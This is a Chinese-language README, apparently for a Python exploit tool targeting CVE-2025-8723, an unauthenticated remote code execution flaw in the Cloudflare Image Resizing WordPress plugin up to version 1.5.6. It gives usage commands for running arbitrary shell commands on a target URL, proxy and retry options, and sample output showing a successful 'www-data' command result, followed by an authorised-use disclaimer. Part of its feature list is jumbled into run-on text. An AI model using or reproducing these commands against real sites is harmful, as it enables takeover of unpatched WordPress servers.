Cloudflare Image Resizing WordPress 插件(版本 <= 1.5.6)存在一个_缺少身份验证_漏洞,允许通过 rest_pre_dispatch 钩子实现未认证远程代码执行(RCE)。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H描述:
该插件的 REST API 端点未对用户进行身份验证,并且在hook_rest_pre_dispatch()方法中不当处理输入。此缺陷使攻击者能够通过构造恶意请求注入并执行任意 PHP 代码,无需登录即可利用。
readme.txt 文件)whoami,用户可指定任意命令wp-content/plugins/cf-image-resizing/readme.txt-c "id"--proxy 通过代理发送请求(例如 BurpSuite)python3 CVE-2025-8723.py -u http://target.com/
whoami指定自定义命令:
python3 CVE-2025-8723.py -u http://target.com/ -c "id"
使用代理(例如 BurpSuite):
python3 CVE-2025-8723.py -u http://target.com/ --proxy http://127.0.0.1:8080
增加高级标头尝试次数(默认 5 次):
python3 CVE-2025-8723.py -u http://target.com/ --attempts 10
[+] CVE-2025-8723 Exploit | by Khaled Alenazi (Nxploited)
[+] Detected version: 1.5.6
[+] Target is vulnerable (<=1.5.6). Proceeding with exploit.
[*] Trying minimal headers (only Content-Type)...
[=] Minimal Headers | Status: 200
www-data
[+] Exploit worked with this method!
本工具仅用于授权的安全测试和教育目的。
开发者不对因使用此代码造成的任何滥用或损害负责。
作者:Khaled Alenazi (Nxploited)